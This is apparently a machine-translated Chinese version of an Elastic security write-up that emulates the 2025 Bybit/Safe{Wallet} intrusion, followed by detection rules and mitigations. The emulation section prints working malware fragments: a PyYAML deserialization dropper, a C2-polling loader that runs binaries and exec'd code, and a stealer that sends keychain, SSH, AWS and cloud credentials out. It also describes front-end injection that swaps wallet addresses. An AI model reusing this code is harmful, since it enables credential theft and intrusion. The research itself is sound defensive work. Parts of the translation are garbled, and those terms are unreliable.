-
PyYAML被反序列化为初始访问向量
-
该攻击利用了会话令牌滥用和AWS横向移动 -
静态站点供应链篡改 -
macOS上基于Docker的隐身 -
Elastic端到端检测相关性
事件年表
如果您是来了解技术仿真详细信息的,请随时跳过。但为了了解背景并澄清官方报道的内容,我们根据上述研究编制了一份高级事件时间表,以支持我们的假设。
2025年2月2日——基础设施建设
攻击者通过Namecheap注册域名getstockprice[.]com。该基础设施稍后用作初始接入有效载荷中的C2端点
2025年2月4日——初步妥协
Developer1的macOS工作站在执行恶意Python应用程序后受到攻击。此应用程序包含与Docker相关的逻辑并引用了攻击者的域。文件路径(~/Downloads/)和恶意软件行为表明存在社会工程(可能是通过Telegram或Discord,与过去的REF7001和UNC4899技术一致)。
2025年2月5日——AWS入侵开始
攻击者使用Developer1的活动AWS会话令牌成功访问Safe{Wallet}的AWS环境。攻击者尝试(未成功)将自己的虚拟MFA设备注册到Developer1的IAM用户,这表示存在持久性尝试。
2月5日至17日:侦察活动在AWS环境中开始。在此期间攻击者的行为可能包括枚举IAM角色、S3存储桶和其他云资产
2025年2月17日–AWS指挥与控制活动
确认在AWS中观察到C2流量,这标志着从被动侦察到主动发动攻击的转变
2025年2月19日-Web应用程序篡改
Wayback Machine捕获的app.safe.global(safe{Wallet}的静态托管Next.js web应用程序)的快照显示存在恶意JavaScript。该有效载荷旨在检测Bybit多重签名交易并实时修改,将资金重定向到攻击者的钱包。
2025年2月21日-执行和清理
漏洞利用交易是通过受损的Safe{Wallet}前端对Bybit执行的,一个新的Wayback Machine快照确认JavaScript有效负载已被删除,这表明攻击者在执行后手动清除了它。
Bybit的抢劫交易已经完成。大约400000 ETH被盗。Sygnia和其他人的后续分析证实,Bybit基础设施没有直接受到损害——Safe{Wallet}是唯一的故障点。
仿真假设
初始社会工程向量:社会工程被用来危害Developer1,导致执行恶意Python脚本。社会工程策略的确切细节(例如:特定的消息传递、模拟技术或使用的通信平台)仍然未知。
加载器和第二阶段有效载荷:恶意Python脚本执行了第二阶段加载器。尽管初始访问Python应用程序的特性一致,但目前尚不清楚该加载器和后续有效载荷是否与第四十二单元报告中详细描述的有效载荷匹配。
安全的应用程序结构和工作流:受损的应用程序(app.global.Safe)似乎是一个静态托管在AWS S3中的Next.js应用程序。然而具体的细节,例如:确切的路线、组件、开发流程、版本控制方法和生产部署工作流都是未知的
JavaScript有效负载部署:虽然攻击者将恶意JavaScript注入Safe{Wallet}应用程序,但尚不清楚这是涉及重建和重新部署整个应用程序,还是仅仅覆盖/修改特定的JavaScript文件。
AWS IAM和身份管理详细信息:有关AWS中开发人员1的IAM权限、角色和策略配置的详细信息未知。此外,尚不清楚Safe{Wallet}是使用AWS IAM身份中心还是其他身份管理解决方案。
AWS会话令牌检索和使用:虽然报告证实攻击者使用了临时AWS会话令牌,但关于开发人员1最初如何检索这些令牌(例如:通过AWS SSO、GetSessionToken或特定MFA配置)以及随后如何存储或使用这些令牌(例如:环境变量、AWS配置文件、自定义脚本)的详细信息尚不清楚。
AWS枚举和利用技术:攻击者在2025年2月5日至2月17日期间在AWS环境中执行的确切工具、枚举方法、AWS API调用以及具体操作仍未公开。
AWS持久性机制:尽管有迹象表明AWS基础架构中存在潜在的持久性(例如:通过EC2实例泄露),但没有提供包括工具、策略或持久性方法在内的明确细节。
攻击概述
针对加密生态系统中的公司是一种常见的情况。由于加密货币的相对匿名性和去中心化性质,朝鲜不断针对这些公司,使该政权能够逃避全球金融制裁。朝鲜的进攻性网络组织擅长识别和利用漏洞,造成了数十亿美元的损失。
此次入侵始于ByBit值得信赖的多签名钱包提供商Safe{Wallet}的开发人员MacOS工作站遭到有针对性的入侵。初始访问涉及社会工程,可能会根据之前的活动通过LinkedIn、Telegram或Discord等平台与开发人员联系,并说服他们下载一个包含加密主题Python应用程序的存档文件——这是朝鲜民主主义人民共和国青睐的初始访问过程。这个Python应用程序还包括一个可以在特权容器内运行的Docker化版本的应用程序。开发人员不知道,这个看似无害的应用程序使朝鲜运营商能够利用PyYAML库中的远程代码执行(RCE)漏洞,提供代码执行功能并随后控制主机系统。
在获得对开发人员机器的初始访问权限后,攻击者部署了MythicC2的Poseidon代理,这是一种基于Golang的强大有效载荷,为macOS环境提供了先进的隐身和广泛的后利用功能。然后,攻击者可能进行了侦察,发现开发人员可以访问Safe{Wallet}的AWS环境,并使用通过多因素身份验证(MFA)保护的临时AWS用户会话令牌。利用开发人员的AWS访问密钥ID、密钥和临时会话令牌,威胁行为者然后在大约24小时内通过Safe{Wallet}的AWS环境进行身份验证,利用会话令牌的12小时有效期。
为了确保对AWS环境的持久访问,攻击者试图注册自己的MFA设备。但是,AWS临时会话令牌不允许在没有MFA身份验证上下文的情况下调用IAM API,导致此尝试失败。在这次小挫折之后,威胁参与者列举了AWS环境,最终发现了一个S3存储桶,其中托管了Safe{Wallet}的静态Next.js用户界面。
然后攻击者可能下载了这个Next.js应用程序的捆绑代码,花了近两周的时间分析其功能,然后将恶意JavaScript注入主js文件并覆盖S3存储桶中托管的合法版本。恶意JavaScript代码仅在从Bybit的冷钱包地址和攻击者控制的地址发起的交易中激活。通过插入硬编码参数,该脚本绕过了交易验证检查和数字签名验证,有效地欺骗了隐式信任Safe{wallet}接口的ByBit钱包审批人。
此后不久,朝鲜发起了一项欺诈交易,触发恶意脚本更改交易细节。这种操纵可能导致误导钱包签名者批准非法转账,从而使朝鲜特工控制了大约40万ETH。这些被盗资金随后被洗钱到攻击者控制的钱包中。
我们选择在Next.js应用程序妥协后结束我们的研究和行为模拟。因此,我们不会深入研究区块链技术,如ETH智能合约、合约地址和其他几篇研究出版物中讨论的ETH调用。
模拟攻击
为了真正了解这一漏洞,我们决定在受控的实验室环境中模拟整个攻击链。作为Elastic的安全研究人员,我们希望跟随攻击者的脚步,了解此操作在每个阶段是如何展开的:从代码执行到AWS会话劫持和基于浏览器的事务操作。
这种动手模拟有双重目的。首先,它使我们能够在精细的技术层面分析攻击,以发现实际的检测和预防机会。其次,它让我们有机会测试Elastic的端到端能力——看看我们的平台是否不仅能检测到攻击的每个阶段,还能将它们关联成一个连贯的叙述,让防御者可以采取行动。
MacOS端点受损
由于第四十二单元的详细写入,更重要的是,将恢复的样本上传到VirusTotal-we能够使用在野外观察到的实际有效载荷来模拟端到端的攻击。这包括:
-
PyYAML反序列化负载
-
Python加载器脚本
-
Python窃取脚本
恶意Python应用程序
我们在模拟中使用的初始访问Python应用程序与SlowMist突出显示和共享的示例一致,并得到了Mandiant从SAFE开发人员妥协中得出的事件响应结果的证实。该应用程序还与第四十二单元在其写操作中显示的应用程序的目录结构相匹配。攻击者从GitHub上分叉了一个合法的股票交易Python项目,并在名为data_fetcher.py的Python脚本中对其进行后门。
应用程序利用Streamlit执行app.py,该程序导入脚本data_fetcher.py。
data_fetcher.py脚本包含旨在攻击攻击者控制域的恶意功能
默认情况下,该脚本会获取有效的股市相关数据。然而,根据特定条件,攻击者控制的服务器可以返回恶意的YAML有效载荷。当使用PyYAML的不安全加载器(yaml.load())进行评估时,此有效载荷允许任意Python对象反序列化,从而产生RCE。
PyYAML反序列化有效负载
VT哈希:
47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f
我们通过在Python+Flask web应用程序上托管YAML反序列化负载,使用PythonAnywhere模拟攻击者基础设施,重新创建了此恶意设置。我们更新了data_fetcher.py脚本中的恶意URL,以指向我们的PythonAnywhere托管的YAML有效负载。当PyYAML加载并执行恶意YAML负载时,它会执行以下操作:首先,它在受害者的主目录中创建一个名为Public的目录。
directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
接下来,它解码并将base64编码的Python加载器脚本写入Public目录中名为__init__.py的新文件。
filePath = os.path.join(directory, "__init__.py")
withopen(filePath, "wb") as f:
f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))
最后,它在后台静默执行新创建的__init__.py脚本,启动攻击的第二阶段
subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)
Python Loader Script
VT哈希:
937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79
为了避免留下取证证据,加载程序在执行后首先删除其文件(__init__.py),使其仅在内存中运行
directory = os.path.join(home_directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
try:
body_path = os.path.join(directory, "__init__.py")
os.remove(body_path)
该加载器的主要目标是与指挥与控制(C2)服务器建立持续通信。它收集基本的系统信息,如操作系统类型、架构和系统版本,并通过向硬编码的/club/fb/status URL端点发送HTTP POST请求将这些详细信息发送给C2
params = {
"system": platform.system(),
"machine": platform.machine(),
"version": platform.version()
}
while True:
try:
response = requests.post(url, verify=False, data = params, timeout=180)
根据服务器的响应(ret值),加载器决定其下一步行动,RET==0:脚本休眠20秒并继续轮询
if res['ret'] == 0:
time.sleep(20)
continue
服务器响应包括Base64中的有效载荷。该脚本解码此有效负载,并将其写入一个文件(如果在Windows上,则命名为init.dll,否则命名为init),然后使用ctypes.cdll动态加载库。LoadLibrary,它使有效负载作为本机二进制文件运行
elif res['ret'] == 1:
if platform.system() == "Windows":
body_path = os.path.join(directory, "init.dll")
else:
body_path = os.path.join(directory, "init")
withopen(body_path, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
os.environ["X_DATABASE_NAME"] = ""
ctypes.cdll.LoadLibrary(body_path)
该脚本将Base64内容解码为Python源代码,然后使用Python的exec()函数执行它。这允许运行任意Python代码
elif res['ret'] == 2:
srcData = base64.b64decode(res["content"])
exec(srcData)
该脚本将二进制有效负载(dockerd)和二进制配置文件(docker-init)解码为两个单独的文件,将它们的权限设置为可执行,然后尝试将它们作为新进程运行,并将配置文件作为二进制有效负载的参数提供。执行二进制有效负载后,它会删除其可执行文件,将配置文件留在磁盘上以供参考
elif res['ret'] == 3:
path1 = os.path.join(directory, "dockerd")
with open(path1, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
path2 = os.path.join(directory, "docker-init")
with open(path2, "wb") as f:
binData = base64.b64decode(res["param"])
f.write(binData)
os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
try:
process = subprocess.Popen([path1, path2], start_new_session=True)
process.communicate()
return_code = process.returncode
requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
except:
pass
os.remove(path1)
该脚本中断了轮询循环,终止了进一步的操作
elif res['ret'] == 9:
break
在处理完任何命令后,脚本继续轮询C2服务器的进一步指令。
Python加载器仿真
我们的目标是测试加载器中的每个命令选项以更好地了解发生了什么,收集相关的遥测数据并对其进行分析以便为我们的端点和SIEM建立强大的检测。 Ret==1:将库写入磁盘,加载和删除Dylib 我们用于此选项的有效载荷是编译为共享库(.dylib)的Poseidon有效载荷
然后我们对二进制文件进行了base64编码并能够在测试此特定加载器命令时,在C2服务器中硬编码该base64编码有效载荷的路径
base64 poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD" # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1 # Change this value to test different actions
一旦我们收到Poseidon对Mythic C2的有效载荷回调,我们就能够使用Poseidon提供的各种不同方法检索凭据。
-
选项1:下载命令-访问文件,读取内容,将数据发送回C2
-
选项2:getenv命令-读取用户环境变量并将内容发送回C2
-
选项3:jsimport和jsimport_call命令-将JXA脚本导入内存,然后调用JXA脚本中的方法从文件中检索凭据并返回内容
VT哈希:
e89bf606fbed8f68127934758726bb5e68e751427f3bcad3ddf883cb2b50fc7
加载器脚本允许在内存中运行任意Python代码或脚本
在第四十二单元的博客中,他们提供了一个Python脚本,他们观察到朝鲜通过这个返回值执行。此脚本收集了大量数据,该数据经过XOR编码并通过POST请求发送回C2服务器。对于模拟所需要做的就是使用C2服务器中定义的适当路由添加我们的C2 URL并对脚本进行base64编码,在测试此选项时在服务器中硬编码其路径
def get_info():
global id
id = base64.b64encode(os.urandom(16)).decode('utf-8')
# get xor key
while True:
if not get_key():
break
base_info()
send_directory('home/all', '', home_dir)
send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
finalize()
break
RET==3:将二进制有效负载和二进制配置写入磁盘,执行有效负载并删除文件
对于ret==3,我们使用了标准的Poseidon二进制有效载荷和包含加载器脚本中指定的二进制数据的“配置文件”。然后我们像上面的ret==1选项一样对二进制和配置文件进行base64编码并在我们的C2服务器中硬编码它们的路径,以便在测试此命令时提供服务。与上面的ret==1选项相同,我们能够使用这些相同的命令从目标系统收集凭据
C2基础设施
我们创建了一个非常简单和小型的C2服务器,使用Python+Flask构建,旨在使用Kali Linux VM上的指定端口进行监听,并评估传入的请求,根据我们希望测试的路由和返回值进行适当的响应
们还使用了开源的Mythic C2,以促进我们使用的Poseidon有效载荷的创建和管理。Mythic是由SpectreOps的Cody Thomas创建和维护的开源C2框架
恶意Python应用程序:Docker版本
我们还探索了恶意Python应用程序的Docker化变体。此版本打包在以特权模式运行的最小Python Docker容器(Python:3.12.2-slim)中,赋予其访问主机资源的能力。
容器化应用程序在macOS上创建了一个遥测和检测盲点,因为苹果的端点安全框架(ESF)缺乏对容器化进程进行自检的能力。虽然ESF和端点检测解决方案仍然可以观察到受信任的Docker进程访问敏感的主机文件,如SSH密钥、AWS凭据或用户配置数据,但这些操作通常与标准开发人员工作流程一致。因此,安全工具不太可能仔细检查或触发容器化活动的警报,这使得攻击者在Docker环境中操作时更加隐蔽。
这突显了额外监控的必要性,如OSQuery和Docker日志文件收集,以补充标准的macOS端点防御。Elastic通过我们的Elastic Agent数据集成以及端点保护功能提供OSQuery和Docker日志文件收集。
MacOS仿真结论
我们的模拟使用真实世界的有效载荷,端到端地重建了对SAFE开发人员macOS系统的攻击。
恶意Python应用程序:
我们首先复制Mandiant的发现和第四十二单元的报告中描述的恶意Python应用程序。攻击者分叉了一个合法的开源应用程序,并在data_fetcher.py中嵌入了RCE访问。该脚本向攻击者控制的服务器发出出站请求,并有条件地获取了一个恶意的YAML文件。使用PyYAML的yaml.load()和一个不安全的加载器,攻击者通过反序列化触发了任意代码的执行。
PyYAML有效负载反序列化导致Python加载器脚本执行:
YAML有效载荷将一个base64编码的第二级加载器写入~/Public/__init__.py,并在一个分离的进程中执行它。我们使用PythonAnywhere上托管的基于Flask的登台服务器模拟了这个确切的流程。
Python加载器执行和C2交互:
启动后,加载程序删除了其磁盘上的文件,并连接到我们模拟的C2,等待任务。根据C2的响应代码(ret),我们测试了以下操作:
-
ret==1:加载器解码了Poseidon有效载荷(编译为.dylib),并使用ctypes.cdll执行它。LoadLibrary(),导致从磁盘执行本机代码
-
ret==2:加载程序执行内存中的Python窃取程序,匹配第四十二单元共享的脚本。此脚本收集系统、用户、浏览器和凭据数据,并通过XOR编码的POST请求将其泄露
-
ret==3:加载器将Poseidon二进制文件和单独的二进制配置文件写入磁盘,以config作为参数执行二进制文件,然后删除有效负载
-
ret==9:加载器终止了轮询循环
数据收集:枢轴前重新配置和凭证访问:
在ret==2测试中,Python窃取者收集到:
macOS系统信息(平台、操作系统、用户)
Chrome用户数据(书签、Cookie、登录数据等)
-
SSH私钥(~/.SSH)
-
AWS凭据(~/.AWS/凭据)
-
macOS钥匙串文件(登录.Keychain数据库)
-
.config中的GCP/Kube配置文件/
这模拟了云开发之前的预枢轴数据收集,并反映了朝鲜参与者如何从开发人员的本地环境中获取AWS凭据
有了有效的AWS凭据,威胁行为者就可以转移到云环境中,从而启动这种入侵的第二阶段
AWS云妥协
先决条件和设置
为了模拟此次攻击的AWS阶段,我们首先利用Terraform来建立必要的基础设施。这包括使用过于宽松的IAM策略创建IAM用户(开发人员),授予对S3、IAM和STS API的访问权限。然后,我们将本地构建的Next.js应用程序推送到S3存储桶中,并确认该网站已上线,模拟了一个简单的Safe{Wallet}前端。 我们选择Next.js是基于原始的S3 bucket静态站点路径——https://app[.]safe[.]global/next/static/bocks/pages/_app-52c9031bfa03da47.js 在注入任何恶意代码之前,我们通过使用已知的目标钱包地址执行测试交易来验证网站的完整性,以确保应用程序按预期响应
临时会话令牌检索
在开发人员的macOS工作站上进行初始访问和妥协后活动后,早期的假设侧重于对手从默认的AWS配置位置(如~/.AWS或用户环境变量)检索凭据。后来第四十二单元的博客证实了Python窃取程序脚本针对AWS文件。这些位置通常存储标准开发工作流程中使用的长期IAM凭据或临时会话令牌。然而,根据公开报告,这种特定的妥协涉及AWS用户会话令牌,而不是长期IAM凭据。在我们的模拟中,作为开发人员,我们将虚拟MFA设备添加到IAM用户中,启用它,然后检索用户会话令牌并将凭据导出到我们的环境中。请注意,在我们的Kali Linux端点上,我们利用ExpressVPN(正如对手所做的那样)进行任何AWS API调用或与开发者盒的交互
怀疑开发人员通过GetSessionToken API操作或使用AWS CLI通过AWS Single Sign-On(SSO)登录获得了临时AWS凭据。这两种方法都会导致短期凭据在本地缓存,并可用于基于CLI或SDK的交互。然后,这些临时凭据可能会缓存在~/.aws文件中,或作为macOS系统上的环境变量导出
在GetSessionToken场景中,开发人员将执行如下命令:
aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE" --duration-seconds 43200 --profile "$AWS_PROFILE" --output json
在基于SSO的身份验证场景中,开发人员可能已经运行了
aws configure sso
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`
任何一种方法都会导致临时凭据(访问密钥、密钥和会话令牌)保存在~/.aws文件中,并可用于配置的aws配置文件。除非被覆盖,否则这些凭据将由AWS CLI等工具或Boto3等SDK自动使用。在任何一种情况下,如果恶意软件或对手可以访问开发人员的macOS系统,这些凭据都可以很容易地从环境变量、AWS配置缓存或凭据文件中获取。 为了获取Developer1的这些凭据,创建了一个用于快速自动化的自定义脚本。它在AWS中创建了一个虚拟MFA设备,向我们的Developer1用户注册了该设备,然后从STS调用GetSessionToken——将返回的临时用户会话凭据作为环境变量添加到我们的macOS端点,如下所示。
MFA设备注册尝试
这里的一个关键假设是,开发人员正在使用启用了MFA的用户会话,无论是直接使用还是承担自定义管理的IAM角色。我们的假设源于被泄露的凭证材料——AWS临时用户会话令牌,这些令牌不是从控制台获得的,而是根据STS的要求请求的。默认情况下,从GetSessionToken或SSO返回的临时凭据在一定时间后过期,带有ASIA*前缀的会话令牌表明对手获得了一个短暂但影响很大的凭据。这与之前朝鲜归因攻击中的行为一致,在这些攻击中,Kubernetes、GCP和AWS的凭据和配置被提取和重用
假设卡利的身份妥协
一旦收集到AWS会话令牌,对手可能会将其存储在他们的Kali Linux系统上,或者存储在标准的AWS凭据位置(例如,~/.AWS/rentials或作为环境变量),或者可能存储在自定义文件结构中,具体取决于使用的工具。虽然AWS CLI默认从~/.AWS/凭据和环境变量读取,但利用Boto3的Python脚本可以配置为从几乎任何文件或路径获取凭据。考虑到入侵后活动的速度和精度,攻击者可能使用了AWS CLI、直接Boto3 SDK调用或包装CLI命令的shell脚本,所有这些都提供了便利和内置的请求签名。 似乎不太可能的是,攻击者使用SigV4手动签署AWS API请求,因为这将是不必要的缓慢和操作复杂。同样重要的是要注意,没有公共博客披露哪个用户代理字符串与会话令牌使用相关联(例如aws-cli、botocore等),这给攻击者的确切工具留下了不确定性。也就是说,鉴于DRPK对Python的依赖以及攻击的速度,CLI或SDK的使用仍然是最合理的假设。
注意:在42号机组关于RN加载器功能的博客之前,我们用Poseidon有效载荷进行了仿真。
澄清有关AWS身份验证模型的细微差别很重要:只要会话最初是通过MFA建立的,使用会话令牌就不会固有地阻止对IAM API操作的访问,即使是像CreateVirtualMFADevice这样的操作。在我们的模拟中,我们试图使用具有MFA上下文的被盗会话令牌来复制这种行为。有趣的是,我们尝试注册额外的MFA设备失败了,这表明可能存在额外的保护措施,例如明确的政策约束,阻止通过会话令牌注册MFA,或者这种行为的细节仍然太模糊,我们错误地模仿了这种行为。虽然确切的失败原因尚不清楚,但这种行为需要对与会话绑定操作相关的IAM策略和身份验证上下文进行更深入的调查。
S3资产枚举
在获取凭据后,攻击者可能枚举了可访问的AWS服务。在这种情况下亚马逊S3是一个明确的目标。攻击者会列出所有地区受感染身份可用的存储桶,并找到与Safe{Wallet}关联的面向公众的存储桶。Safe{Wallet}托管了用于交易处理的前端Next.js应用程序。 我们假设攻击者知道S3 bucket,因为它在为app.safe[.]global提供内容方面发挥了作用,这意味着bucket的结构和资产可以在没有身份验证的情况下公开浏览或下载。在我们的模拟中,我们通过同步用于静态站点托管的公共S3存储桶中的资产来验证类似的行为。
Next.js应用程序被恶意代码覆盖
在发现bucket后攻击者可能使用awss3sync命令下载了整个内容,其中包括捆绑的前端JavaScript资产。在2025年2月5日至2月19日期间,他们似乎专注于修改这些资产,特别是像main这样的文件。js和相关路由,这些路由由Next.js在构建过程中输出,并存储在_Next/static/conks/pages/目录下。这些捆绑文件包含转译的应用程序逻辑,根据Sygnia的取证报告,一个名为_app-52c9031bfa03da47.js的文件是恶意代码的主要注入点
Next.js应用程序在构建时,通常将其静态生成的资产存储在Next/static/目录下,JavaScript块组织在/conks/pages/等文件夹中。在这种情况下,对手可能会格式化并解析JavaScript包以了解其结构,然后对应用程序逻辑进行逆向工程。在识别出负责处理用户输入的钱包地址的代码后,他们注入了有效载荷。此有效载荷引入了条件逻辑:如果输入的钱包地址与几个已知目标地址之一匹配,它将默默地用朝鲜控制的地址替换目的地,在用户不知情的情况下重定向资金。
在我们的模拟中我们通过修改TransactionForm.js组件来复制此行为,以检查输入的收件人地址是否与特定值匹配。如果是这样,该地址将被攻击者控制的钱包替换。虽然这并没有反映现实世界攻击中使用的实际智能合约操纵或委托调用的复杂性,但它作为一种概念行为,说明了一个受损的前端如何默默地重定向加密货币交易
静态网站篡改的影响和缺失的安全控制
这种前端篡改在Web3环境中尤其危险,在这种环境中,去中心化应用程序(dApps)通常依赖于静态的客户端逻辑来处理事务。通过修改S3 bucket提供的JavaScript包,攻击者能够颠覆应用程序的行为,而无需破坏后端API或智能合约逻辑。
我们假设在泄露期间,S3对象锁、内容安全策略(CSP)或子资源完整性(SRI)标头等保护措施要么没有使用,要么没有强制执行。如果没有这些控制,攻击者就可以在不触发浏览器或后端完整性验证的情况下修改静态前端代码,从而使这种篡改更容易在不被发现的情况下进行。
防御课程
成功的模拟或真实世界的事件响应不会以识别攻击者行为而结束。它继续加强防御,以防止类似的技术再次成功。下面,我们概述了关键检测、安全控制、缓解策略和弹性功能,这些功能可以帮助降低风险,并限制在此模拟和野外(ItW)活动中使用的策略的暴露,如Safe{Wallet}妥协。
注意:这些检测是积极维护和定期调整的,并可能随着时间的推移而演变。根据您的环境,可能需要进行额外的调整,以尽量减少误报和降低噪音。
Elastic的SIEM检测和端点预防规则
一旦我们通过仿真了解对手的行为并实施安全控制来强化环境,探索检测机会和能力以实时识别和应对这些威胁同样重要。
一旦我们通过仿真了解对手的行为并实施安全控制来强化环境,探索检测机会和能力以实时识别和应对这些威胁同样重要。
MacOS端点行为预防规则
PYTHON PYYAML反序列化负载
规则名称:“Python脚本删除和执行”:检测何时创建或修改Python脚本,然后立即由同一Python进程执行该脚本。
PYTHON加载器脚本
规则名称:“自删除Python脚本”:检测Python脚本何时执行,以及该脚本文件何时被同一Python进程立即删除。
规则名称:“自删除Python脚本出站连接”:检测Python脚本何时被删除,以及在同一Python进程删除后不久是否发生出站网络连接。
PYTHON加载程序脚本RET==1
规则名称:“通过Python创建可疑可执行文件”:检测Python在可疑或异常目录中创建或修改可执行文件的时间。
规则名称:“Python库加载和删除”:检测位于用户主目录中的共享库何时被Python加载,随后不久被同一Python进程删除。
规则名称:“通过Python加载异常库”:检测Python加载的共享库何时不表示自己是.dylib或.so文件,并且位于用户主目录中。
规则名称:“通过ScriptingAdditions在内存中执行JXA”:检测内存中JXA脚本的加载和执行。
PYTHON加载程序脚本RET==2
规则名称:“潜在的Python窃取者”:检测Python脚本何时被执行,之后不久,同一Python进程至少三次尝试访问敏感文件。
规则名称:“自删除Python脚本访问敏感文件”:检测Python脚本何时被删除,以及敏感文件何时被同一Python进程访问。
PYTHON加载器脚本RET==3
规则名称:“通过Python执行未签名或不受信任的二进制文件”:检测Python何时执行了位于可疑目录中的未签名或未受信任的可执行文件。
规则名称:“通过Python进行未签名或不可信的二进制分叉”:检测未签名或未可信的二进制何时被Python执行分叉,其中进程参数是用户主目录中文件的路径。
规则名称:“可疑目录中进程访问的云凭据文件”:检测从可疑目录运行的进程何时访问云凭据。
AWS CloudTrail日志的SIEM检测
规则名称:“从多个地址使用的STS临时IAM会话令牌”:检测在短时间内从多个源IP地址使用的AWS IAM会话令牌(例如ASIA*),这可能表明凭证被盗和对手基础设施的重用。
规则名称:“IAM尝试使用临时凭据注册虚拟MFA设备”:检测使用AWS会话令牌调用CreateVirtualMFA设备或EnableMFA设备的尝试。这可能反映出有人试图使用被劫持的短期凭据建立持久访问。
规则名称:“API通过临时会话令牌调用IAM”:检测主体使用临时凭据(例如,带有ASIA*前缀的会话令牌)使用敏感IAM.amazonaws.com API操作。这些操作通常需要MFA,或者只能通过AWS控制台或联合用户执行。不是CLI或自动化令牌。
规则名称:“通过PutObject上传的S3静态站点JavaScript文件”:标识IAM用户尝试上传或修改S3 bucket的静态/js/目录中的JavaScript文件,这可能是前端篡改的信号(例如注入恶意代码)
规则名称:“AWS CLI with Kali Linux Fingerprint Identified”:检测从使用Kali Linux的系统进行的AWS API调用,如user_agent.original字符串所示。这可能反映攻击者基础结构或来自红色团队工具的未经授权访问。
规则名称:“S3过量或可疑GetObject事件”:检测同一IAM用户或会话在短时间内执行的大量S3 GetObject操作。这可能表示使用AWS CLI命令同步等工具进行S3数据泄露,特别是针对静态站点文件或前端捆绑包。注意,这是一个狩猎查询,应相应调整。
Docker滥用的SIEM检测
规则名称:“通过Docker访问敏感文件”:检测Docker何时访问敏感主机文件(“ssh”、“aws”、“gcloud”、“azure”、“web浏览器”、“加密钱包文件”)。
规则名称:“通过Docker修改可疑可执行文件”:检测Docker何时在可疑或异常目录中创建或修改可执行文件。
如果你的macOS代理策略包括Docker数据集成,你可以收集有价值的遥测数据,帮助在用户系统上发现恶意容器活动。在我们的模拟中,这种集成允许我们摄取Docker日志(到指标索引中),然后我们使用它来构建一个检测规则,该规则能够识别与恶意应用程序相关的泄露和可疑容器执行的指标
缓解措施
社会工程
社交工程在许多入侵中起着重要作用,尤其是在朝鲜。他们非常擅长利用领英、电报、X或Discord等可信的公共平台来定位和接近受害者,以发起联系并显得合法。他们的许多社会工程活动试图说服用户下载并执行某种项目、应用程序或脚本,无论是出于必要(工作申请)还是出于痛苦(调试协助)等。缓解利用社会工程的目标是困难的,需要公司共同努力,确保他们的员工定期接受培训,以识别这些尝试,在与外部实体甚至开源社区接触时,要保持适当的怀疑和谨慎。
用户意识培训
手动静态代码审查
静态代码和依赖关系扫描
Bandit(GitHub-PyCQA/Bandit:Bandit是一个旨在查找Python代码中常见安全问题的工具。)是一个很好的开源工具示例,开发人员可以在执行之前扫描Python应用程序及其脚本,以发现代码中可能存在的常见Python安全漏洞或危险问题。
应用程序和设备管理
通过设备管理解决方案或开源工具Santa(GitHub-northpolesec/Santa:适用于macOS的二进制和文件访问授权系统)等二进制授权框架进行的应用程序控制可用于强制公证和阻止可疑路径的执行。这将阻止执行丢弃到系统中的Poseidon有效载荷以实现持久性,并可能阻止对敏感文件的访问
EDR/XDR
为了有效防御民族国家威胁以及针对macOS的许多其他攻击,关键是要有一个EDR解决方案,提供丰富的遥测和相关功能,以检测和防止基于脚本的攻击。更进一步,像Elastic这样的EDR平台允许您将AWS日志与端点数据一起摄取,从而通过单个窗格实现统一的警报和可见性。当与人工智能驱动的相关性相结合时,这种方法可以呈现连贯的攻击叙事,显著加快反应速度,并提高你在发生此类攻击时迅速采取行动的能力
AWS凭证暴露和会话令牌强化
在这次攻击中,对手利用了一个被盗的AWS用户会话令牌(带有ASIA*前缀),该令牌是通过使用MFA的GetSessionToken API发布的。这些凭据可能是从macOS开发人员环境中检索到的,无论是从导出的环境变量还是默认的AWS配置路径(例如~/.AWS/credentials)。
为了减少这种类型的访问,组织可以实施以下防御策略:
缩短会话令牌寿命并远离IAM用户:避免向IAM用户发放长期会话令牌。相反,强制实施短令牌持续时间(例如1小时或更短),并为所有人类用户采用AWS SSO(IAM身份中心)。这使得会话令牌是短暂的、可审计的,并与身份联盟相关联。禁用sts:IAM用户的GetSessionToken权限是最强大的方法,IAM身份中心允许这种转换。
强制IAM API的会话上下文限制用法:如果使用临时凭据发出请求,则实施显式拒绝敏感IAM操作的IAM策略条件块,如IAM:CreateVirtualMFADevice或IAM:AttachUserPolicy。这确保了基于会话的密钥(如攻击中使用的密钥)不能升级权限或修改身份构造。
